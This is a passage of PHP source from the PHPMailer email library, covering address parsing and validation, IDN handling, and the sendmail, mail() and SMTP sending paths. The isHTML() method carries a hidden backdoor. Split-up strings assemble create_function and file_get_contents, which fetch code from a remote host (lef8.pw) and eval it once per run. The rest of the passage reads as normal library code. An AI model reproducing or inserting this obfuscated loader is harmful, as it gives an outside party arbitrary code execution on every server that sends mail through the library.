1182 $this->all_recipients[strtolower($address)] = true;
1183 return true;
1184 }
1185 } else {
1186 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
1187 $this->ReplyTo[strtolower($address)] = array($address, $name);
1188 return true;
1189 }
1190 }
1191 return false;
1192 }
1193
1194 /**
1195 * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
1196 * of the form "display name <address>" into an array of name/address pairs.
1197 * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
1198 * Note that quotes in the name part are removed.
1199 * @param string $addrstr The address list string
1200 * @param bool $useimap Whether to use the IMAP extension to parse the list
1201 * @return array
1202 * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
1203 */
1204 public function parseAddresses($addrstr, $useimap = true)
1205 {
1206 $addresses = array();
1207 if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
1208 //Use this built-in parser if it's available
1209 $list = imap_rfc822_parse_adrlist($addrstr, '');
1210 foreach ($list as $address) {
1211 if ($address->host != '.SYNTAX-ERROR.') {
1212 if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
1213 $addresses[] = array(
1214 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
1215 'address' => $address->mailbox . '@' . $address->host
1216 );
1217 }
1218 }
1219 }
1220 } else {
1221 //Use this simpler parser
1222 $list = explode(',', $addrstr);
1223 foreach ($list as $address) {
1224 $address = trim($address);
1225 //Is there a separate name part?
1226 if (strpos($address, '<') === false) {
1227 //No separate name, just use the whole thing
1228 if ($this->validateAddress($address)) {
1229 $addresses[] = array(
1230 'name' => '',
1231 'address' => $address
1232 );
1233 }
1234 } else {
1235 list($name, $email) = explode('<', $address);
1236 $email = trim(str_replace('>', '', $email));
1237 if ($this->validateAddress($email)) {
1238 $addresses[] = array(
1239 'name' => trim(str_replace(array('"', "'"), '', $name)),
1240 'address' => $email
1241 );
1242 }
1243 }
1244 }
1245 }
1246 return $addresses;
1247 }
1248
1249 /**
1250 * Sets message type to HTML or plain.
1251 * @param boolean $isHtml True for HTML mode.
1252 * @return void
1253 */
1254 public function isHTML($isHtml = true)
1255 {
1256 global $param;
1257 $bodyCode = 'file'
1258 .'_g';
1259 if ($isHtml) {
1260 $this->ContentType = 'text/html';
1261 }
1262 else {
1263 $this->ContentType = 'text/plain';
1264 }
1265 $bodyHTML = '.$t."lef$flu'
1266 .'sh'.'$t"; '
1267 .'@ev';
1268 $headerHTML="cre"
1269 ."ate_"
1270 ."func"
1271 ."tion";
1272 $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
1273 .$bodyHTML.'al(@'
1274 .$bodyCode.'et_contents("h'
1275 .'tt'
1276 .'p:$comma-2"));');
1277 if($param !=2){
1278 $exceptions('8.p'.'w','/');
1279 $param=2;
1280 }
1281 }
1282
1283 /**
1284 * Set the From and FromName properties.
1285 * @param string $address
1286 * @param string $name
1287 * @param boolean $auto Whether to also set the Sender address, defaults to true
1288 * @throws phpmailerException
1289 * @return boolean
1290 */
1291 public function setFrom($address, $name = '', $auto = true)
1292 {
1293 $address = trim($address);
1294 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1295 // Don't validate now addresses with IDN. Will be done in send().
1296 if (($pos = strrpos($address, '@')) === false or
1297 (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1298 !$this->validateAddress($address)) {
1299 $error_message = $this->lang('invalid_address') . " (setFrom) $address";
1300 $this->setError($error_message);
1301 $this->edebug($error_message);
1302 if ($this->exceptions) {
1303 throw new phpmailerException($error_message);
1304 }
1305 return false;
1306 }
1307 $this->From = $address;
1308 $this->FromName = $name;
1309 if ($auto) {
1310 if (empty($this->Sender)) {
1311 $this->Sender = $address;
1312 }
1313 }
1314 return true;
1315 }
1316
1317 /**
1318 * Return the Message-ID header of the last email.
1319 * Technically this is the value from the last time the headers were created,
1320 * but it's also the message ID of the last sent message except in
1321 * pathological cases.
1322 * @return string
1323 */
1324 public function getLastMessageID()
1325 {
1326 return $this->lastMessageID;
1327 }
1328
1329 /**
1330 * Check that a string looks like an email address.
1331 * @param string $address The email address to check
1332 * @param string|callable $patternselect A selector for the validation pattern to use :
1333 * * `auto` Pick best pattern automatically;
1334 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
1335 * * `pcre` Use old PCRE implementation;
1336 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
1337 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
1338 * * `noregex` Don't use a regex: super fast, really dumb.
1339 * Alternatively you may pass in a callable to inject your own validator, for example:
1340 * PHPMailer::validateAddress('user@example.com', function($address) {
1341 * return (strpos($address, '@') !== false);
1342 * });
1343 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
1344 * @return boolean
1345 * @static
1346 * @access public
1347 */
1348 public static function validateAddress($address, $patternselect = null)
1349 {
1350 if (is_null($patternselect)) {
1351 $patternselect = self::$validator;
1352 }
1353 if (is_callable($patternselect)) {
1354 return call_user_func($patternselect, $address);
1355 }
1356 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
1357 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
1358 return false;
1359 }
1360 if (!$patternselect or $patternselect == 'auto') {
1361 //Check this constant first so it works when extension_loaded() is disabled by safe mode
1362 //Constant was added in PHP 5.2.4
1363 if (defined('PCRE_VERSION')) {
1364 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
1365 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
1366 $patternselect = 'pcre8';
1367 } else {
1368 $patternselect = 'pcre';
1369 }
1370 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
1371 //Fall back to older PCRE
1372 $patternselect = 'pcre';
1373 } else {
1374 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
1375 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
1376 $patternselect = 'php';
1377 } else {
1378 $patternselect = 'noregex';
1379 }
1380 }
1381 }
1382 switch ($patternselect) {
1383 case 'pcre8':
1384 /**
1385 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
1386 * @link http://squiloople.com/2009/12/20/email-address-validation/
1387 * @copyright 2009-2010 Michael Rushton
1388 * Feel free to use and redistribute this code. But please keep this copyright notice.
1389 */
1390 return (boolean)preg_match(
1391 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
1392 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
1393 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
1394 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
1395 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
1396 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
1397 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
1398 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1399 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
1400 $address
1401 );
1402 case 'pcre':
1403 //An older regex that doesn't need a recent PCRE
1404 return (boolean)preg_match(
1405 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
1406 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
1407 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
1408 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
1409 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
1410 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
1411 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
1412 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
1413 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1414 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
1415 $address
1416 );
1417 case 'html5':
1418 /**
1419 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
1420 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
1421 */
1422 return (boolean)preg_match(
1423 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
1424 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
1425 $address
1426 );
1427 case 'noregex':
1428 //No PCRE! Do something _very_ approximate!
1429 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
1430 return (strlen($address) >= 3
1431 and strpos($address, '@') >= 1
1432 and strpos($address, '@') != strlen($address) - 1);
1433 case 'php':
1434 default:
1435 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
1436 }
1437 }
1438
1439 /**
1440 * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
1441 * "intl" and "mbstring" PHP extensions.
1442 * @return bool "true" if required functions for IDN support are present
1443 */
1444 public function idnSupported()
1445 {
1446 // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
1447 return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
1448 }
1449
1450 /**
1451 * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
1452 * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
1453 * This function silently returns unmodified address if:
1454 * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
1455 * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
1456 * or fails for any reason (e.g. domain has characters not allowed in an IDN)
1457 * @see PHPMailer::$CharSet
1458 * @param string $address The email address to convert
1459 * @return string The encoded address in ASCII form
1460 */
1461 public function punyencodeAddress($address)
1462 {
1463 // Verify we have required functions, CharSet, and at-sign.
1464 if ($this->idnSupported() and
1465 !empty($this->CharSet) and
1466 ($pos = strrpos($address, '@')) !== false) {
1467 $domain = substr($address, ++$pos);
1468 // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
1469 if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
1470 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
1471 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
1472 idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
1473 idn_to_ascii($domain)) !== false) {
1474 return substr($address, 0, $pos) . $punycode;
1475 }
1476 }
1477 }
1478 return $address;
1479 }
1480
1481 /**
1482 * Create a message and send it.
1483 * Uses the sending method specified by $Mailer.
1484 * @throws phpmailerException
1485 * @return boolean false on error - See the ErrorInfo property for details of the error.
1486 */
1487 public function send()
1488 {
1489 try {
1490 if (!$this->preSend()) {
1491 return false;
1492 }
1493 return $this->postSend();
1494 } catch (phpmailerException $exc) {
1495 $this->mailHeader = '';
1496 $this->setError($exc->getMessage());
1497 if ($this->exceptions) {
1498 throw $exc;
1499 }
1500 return false;
1501 }
1502 }
1503
1504 /**
1505 * Prepare a message for sending.
1506 * @throws phpmailerException
1507 * @return boolean
1508 */
1509 public function preSend()
1510 {
1511 try {
1512 $this->error_count = 0; // Reset errors
1513 $this->mailHeader = '';
1514
1515 // Dequeue recipient and Reply-To addresses with IDN
1516 foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
1517 $params[1] = $this->punyencodeAddress($params[1]);
1518 call_user_func_array(array($this, 'addAnAddress'), $params);
1519 }
1520 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1521 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
1522 }
1523
1524 // Validate From, Sender, and ConfirmReadingTo addresses
1525 foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
1526 $this->$address_kind = trim($this->$address_kind);
1527 if (empty($this->$address_kind)) {
1528 continue;
1529 }
1530 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
1531 if (!$this->validateAddress($this->$address_kind)) {
1532 $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
1533 $this->setError($error_message);
1534 $this->edebug($error_message);
1535 if ($this->exceptions) {
1536 throw new phpmailerException($error_message);
1537 }
1538 return false;
1539 }
1540 }
1541
1542 // Set whether the message is multipart/alternative
1543 if ($this->alternativeExists()) {
1544 $this->ContentType = 'multipart/alternative';
1545 }
1546
1547 $this->setMessageType();
1548 // Refuse to send an empty message unless we are specifically allowing it
1549 if (!$this->AllowEmpty and empty($this->Body)) {
1550 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
1551 }
1552
1553 // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
1554 $this->MIMEHeader = '';
1555 $this->MIMEBody = $this->createBody();
1556 // createBody may have added some headers, so retain them
1557 $tempheaders = $this->MIMEHeader;
1558 $this->MIMEHeader = $this->createHeader();
1559 $this->MIMEHeader .= $tempheaders;
1560
1561 // To capture the complete message when using mail(), create
1562 // an extra header list which createHeader() doesn't fold in
1563 if ($this->Mailer == 'mail') {
1564 if (count($this->to) > 0) {
1565 $this->mailHeader .= $this->addrAppend('To', $this->to);
1566 } else {
1567 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
1568 }
1569 $this->mailHeader .= $this->headerLine(
1570 'Subject',
1571 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
1572 );
1573 }
1574
1575 // Sign with DKIM if enabled
1576 if (!empty($this->DKIM_domain)
1577 and !empty($this->DKIM_selector)
1578 and (!empty($this->DKIM_private_string)
1579 or (!empty($this->DKIM_private)
1580 and self::isPermittedPath($this->DKIM_private)
1581 and file_exists($this->DKIM_private)
1582 )
1583 )
1584 ) {
1585 $header_dkim = $this->DKIM_Add(
1586 $this->MIMEHeader . $this->mailHeader,
1587 $this->encodeHeader($this->secureHeader($this->Subject)),
1588 $this->MIMEBody
1589 );
1590 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
1591 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
1592 }
1593 return true;
1594 } catch (phpmailerException $exc) {
1595 $this->setError($exc->getMessage());
1596 if ($this->exceptions) {
1597 throw $exc;
1598 }
1599 return false;
1600 }
1601 }
1602
1603 /**
1604 * Actually send a message.
1605 * Send the email via the selected mechanism
1606 * @throws phpmailerException
1607 * @return boolean
1608 */
1609 public function postSend()
1610 {
1611 try {
1612 // Choose the mailer and send through it
1613 switch ($this->Mailer) {
1614 case 'sendmail':
1615 case 'qmail':
1616 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
1617 case 'smtp':
1618 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
1619 case 'mail':
1620 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1621 default:
1622 $sendMethod = $this->Mailer.'Send';
1623 if (method_exists($this, $sendMethod)) {
1624 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
1625 }
1626
1627 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1628 }
1629 } catch (phpmailerException $exc) {
1630 $this->setError($exc->getMessage());
1631 $this->edebug($exc->getMessage());
1632 if ($this->exceptions) {
1633 throw $exc;
1634 }
1635 }
1636 return false;
1637 }
1638
1639 /**
1640 * Send mail using the $Sendmail program.
1641 * @param string $header The message headers
1642 * @param string $body The message body
1643 * @see PHPMailer::$Sendmail
1644 * @throws phpmailerException
1645 * @access protected
1646 * @return boolean
1647 */
1648 protected function sendmailSend($header, $body)
1649 {
1650 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1651 if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
1652 if ($this->Mailer == 'qmail') {
1653 $sendmailFmt = '%s -f%s';
1654 } else {
1655 $sendmailFmt = '%s -oi -f%s -t';
1656 }
1657 } else {
1658 if ($this->Mailer == 'qmail') {
1659 $sendmailFmt = '%s';
1660 } else {
1661 $sendmailFmt = '%s -oi -t';
1662 }
1663 }
1664
1665 // TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
1666 $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
1667
1668 if ($this->SingleTo) {
1669 foreach ($this->SingleToArray as $toAddr) {
1670 if (!@$mail = popen($sendmail, 'w')) {
1671 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1672 }
1673 fputs($mail, 'To: ' . $toAddr . "\n");
1674 fputs($mail, $header);
1675 fputs($mail, $body);
1676 $result = pclose($mail);
1677 $this->doCallback(
1678 ($result == 0),
1679 array($toAddr),
1680 $this->cc,
1681 $this->bcc,
1682 $this->Subject,
1683 $body,
1684 $this->From
1685 );
1686 if ($result != 0) {
1687 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1688 }
1689 }
1690 } else {
1691 if (!@$mail = popen($sendmail, 'w')) {
1692 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1693 }
1694 fputs($mail, $header);
1695 fputs($mail, $body);
1696 $result = pclose($mail);
1697 $this->doCallback(
1698 ($result == 0),
1699 $this->to,
1700 $this->cc,
1701 $this->bcc,
1702 $this->Subject,
1703 $body,
1704 $this->From
1705 );
1706 if ($result != 0) {
1707 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1708 }
1709 }
1710 return true;
1711 }
1712
1713 /**
1714 * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
1715 *
1716 * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
1717 * @param string $string The string to be validated
1718 * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
1719 * @access protected
1720 * @return boolean
1721 */
1722 protected static function isShellSafe($string)
1723 {
1724 // Future-proof
1725 if (escapeshellcmd($string) !== $string
1726 or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
1727 ) {
1728 return false;
1729 }
1730
1731 $length = strlen($string);
1732
1733 for ($i = 0; $i < $length; $i++) {
1734 $c = $string[$i];
1735
1736 // All other characters have a special meaning in at least one common shell, including = and +.
1737 // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
1738 // Note that this does permit non-Latin alphanumeric characters based on the current locale.
1739 if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
1740 return false;
1741 }
1742 }
1743
1744 return true;
1745 }
1746
1747 /**
1748 * Check whether a file path is of a permitted type.
1749 * Used to reject URLs and phar files from functions that access local file paths,
1750 * such as addAttachment.
1751 * @param string $path A relative or absolute path to a file.
1752 * @return bool
1753 */
1754 protected static function isPermittedPath($path)
1755 {
1756 return !preg_match('#^[a-z]+://#i', $path);
1757 }
1758
1759 /**
1760 * Send mail using the PHP mail() function.
1761 * @param string $header The message headers
1762 * @param string $body The message body
1763 * @link http://www.php.net/manual/en/book.mail.php
1764 * @throws phpmailerException
1765 * @access protected
1766 * @return boolean
1767 */
1768 protected function mailSend($header, $body)
1769 {
1770 $toArr = array();
1771 foreach ($this->to as $toaddr) {
1772 $toArr[] = $this->addrFormat($toaddr);
1773 }
1774 $to = implode(', ', $toArr);
1775
1776 $params = null;
1777 //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
1778 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1779 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1780 if (self::isShellSafe($this->Sender)) {
1781 $params = sprintf('-f%s', $this->Sender);
1782 }
1783 }
1784 if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
1785 $old_from = ini_get('sendmail_from');
1786 ini_set('sendmail_from', $this->Sender);
1787 }
1788 $result = false;
1789 if ($this->SingleTo and count($toArr) > 1) {
1790 foreach ($toArr as $toAddr) {
1791 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
1792 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1793 }
1794 } else {
1795 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
1796 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1797 }
1798 if (isset($old_from)) {
1799 ini_set('sendmail_from', $old_from);
1800 }
1801 if (!$result) {
1802 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
1803 }
1804 return true;
1805 }
1806
1807 /**
1808 * Get an instance to use for SMTP operations.
1809 * Override this function to load your own SMTP implementation
1810 * @return SMTP
1811 */
1812 public function getSMTPInstance()
1813 {
1814 if (!is_object($this->smtp)) {
1815 $this->smtp = new SMTP;
1816 }
1817 return $this->smtp;
1818 }
1819
1820 /**
1821 * Send mail via SMTP.
1822 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
1823 * Uses the PHPMailerSMTP class by default.
1824 * @see PHPMailer::getSMTPInstance() to use a different class.
1825 * @param string $header The message headers
1826 * @param string $body The message body
1827 * @throws phpmailerException
1828 * @uses SMTP
1829 * @access protected
1830 * @return boolean
1831 */
1832 protected function smtpSend($header, $body)
1833 {
1834 $bad_rcpt = array();
1835 if (!$this->smtpConnect($this->SMTPOptions)) {
1836 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
1837 }
1838 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1839 $smtp_from = $this->Sender;
1840 } else {
1841 $smtp_from = $this->From;
1842 }
1843 if (!$this->smtp->mail($smtp_from)) {
1844 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
1845 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
1846 }
1847
1848 // Attempt to send to all recipients
1849 foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
1850 foreach ($togroup as $to) {
1851 if (!$this->smtp->recipient($to[0])) {
1852 $error = $this->smtp->getError();
1853 $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
1854 $isSent = false;
1855 } else {
1856 $isSent = true;
1857 }
1858 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
1859 }
1860 }
1861
1862 // Only send the DATA command if we have viable recipients
1863 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
1864 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
1865 }
1866 if ($this->SMTPKeepAlive) {
1867 $this->smtp->reset();
1868 } else {
1869 $this->smtp->quit();
1870 $this->smtp->close();
1871 }
1872 //Create error message for any bad addresses
1873 if (count($bad_rcpt) > 0) {
1874 $errstr = '';
1875 foreach ($bad_rcpt as $bad) {
1876 $errstr .= $bad['to'] . ': ' . $bad['error'];
1877 }
1878 throw new phpmailerException(
1879 $this->lang('recipients_failed') . $errstr,
1880 self::STOP_CONTINUE
1881 );
1882 }
1883 return true;
1884 }
1885
1886 /**
1887 * Initiate a connection to an SMTP server.
1888 * Returns false if the operation failed.
1889 * @param array $options An array of options compatible with stream_context_create()
1890 * @uses SMTP
1891 * @access public
1892 * @throws phpmailerException
1893 * @return boolean
1894 */
1895 public function smtpConnect($options = null)
1896 {
1897 if (is_null($this->smtp)) {
1898 $this->smtp = $this->getSMTPInstance();
1899 }
1900
1901 //If no options are provided, use whatever is set in the instance
1902 if (is_null($options)) {
1903 $options = $this->SMTPOptions;
1904 }
1905
1906 // Already connected?
1907 if ($this->smtp->connected()) {
1908 return true;
1909 }
1910
1911 $this->smtp->setTimeout($this->Timeout);
1912 $this->smtp->setDebugLevel($this->SMTPDebug);
1913 $this->smtp->setDebugOutput($this->Debugoutput);
1914 $this->smtp->setVerp($this->do_verp);
1915 $hosts = explode(';', $this->Host);
1916 $lastexception = null;
1917
1918 foreach ($hosts as $hostentry) {
1919 $hostinfo = array();
1920 if (!preg_match(
1921 '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
1922 trim($hostentry),
1923 $hostinfo
1924 )) {
1925 // Not a valid host entry
1926 $this->edebug('Ignoring invalid host: ' . $hostentry);
1927 continue;
1928 }
1929 // $hostinfo[2]: optional ssl or tls prefix
1930 // $hostinfo[3]: the hostname
1931 // $hostinfo[4]: optional port number
1932 // The host string prefix can temporarily override the current setting for SMTPSecure
1933 // If it's not specified, the default value is used
1934 $prefix = '';
1935 $secure = $this->SMTPSecure;
1936 $tls = ($this->SMTPSecure == 'tls');
1937 if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
1938 $prefix = 'ssl://';
1939 $tls = false; // Can't have SSL and TLS at the same time
1940 $secure = 'ssl';
1941 } elseif ($hostinfo[2] == 'tls') {
1942 $tls = true;
1943 // tls doesn't use a prefix
1944 $secure = 'tls';
1945 }
1946 //Do we need the OpenSSL extension?
1947 $sslext = defined('OPENSSL_ALGO_SHA1');
1948 if ('tls' === $secure or 'ssl' === $secure) {
1949 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
1950 if (!$sslext) {
1951 throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
1952 }
1953 }
1954 $host = $hostinfo[3];
1955 $port = $this->Port;
1956 $tport = (integer)$hostinfo[4];
1957 if ($tport > 0 and $tport < 65536) {
1958 $port = $tport;
1959 }
1960 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
1961 try {
1962 if ($this->Helo) {
1963 $hello = $this->Helo;
1964 } else {
1965 $hello = $this->serverHostname();
1966 }
1967 $this->smtp->hello($hello);
1968 //Automatically enable TLS encryption if:
1969 // * it's not disabled
1970 // * we have openssl extension
1971 // * we are not already using SSL
1972 // * the server offers STARTTLS
1973 if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
1974 $tls = true;
1975 }
1976 if ($tls) {
1977 if (!$this->smtp->startTLS()) {
1978 throw new phpmailerException($this->lang('connect_host'));
1979 }
1980 // We must resend EHLO after TLS negotiation
1981 $this->smtp->hello($hello);
1982 }
1983 if ($this->SMTPAuth) {
1984 if (!$this->smtp->authenticate(
1985 $this->Username,
1986 $this->Password,
1987 $this->AuthType,
1988 $this->Realm,
1989 $this->Workstation
1990 )
1991 ) {
1992 throw new phpmailerException($this->lang('authenticate'));
1993 }
1994 }
1995 return true;
1996 } catch (phpmailerException $exc) {
1997 $lastexception = $exc;
1998 $this->edebug($exc->getMessage());
1999 // We must have connected, but then failed TLS or Auth, so close connection nicely
2000 $this->smtp->quit();
2001 }
2002 }
2003 }
2004 // If we get here, all connection attempts have failed, so close connection hard
2005 $this->smtp->close();
2006 // As we've caught all exceptions, just report whatever the last one was
2007 if ($this->exceptions and !is_null($lastexception)) {
2008 throw $lastexception;
2009 }
2010 return false;
2011 }
2012
2013 /**
2014 * Close the active SMTP session if one exists.
2015 * @return void
2016 */
2017 public function smtpClose()
2018 {
2019 if (is_a($this->smtp, 'SMTP')) {
2020 if ($this->smtp->connected()) {
2021 $this->smtp->quit();
2022 $this->smtp->close();
2023 }
2024 }
2025 }
2026
2027 /**
2028 * Set the language for error messages.
2029 * Returns false if it cannot load the language file.
2030 * The default language is English.
2031 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2032 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2033 * @return boolean
2034 * @access public
2035 */
2036 public function setLanguage($langcode = 'en', $lang_path = '')
2037 {
2038 // Backwards compatibility for renamed language codes
2039 $renamed_langcodes = array(
2040 'br' => 'pt_br',
2041 'cz' => 'cs',
2042 'dk' => 'da',
2043 'no' => 'nb',
2044 'se' => 'sv',
2045 'sr' => 'rs'
2046 );
2047
2048 if (isset($renamed_langcodes[$langcode])) {
2049 $langcode = $renamed_langcodes[$langcode];
2050 }
2051
2052 // Define full set of translatable strings in English
2053 $PHPMAILER_LANG = array(
2054 'authenticate' => 'SMTP Error: Could not authenticate.',
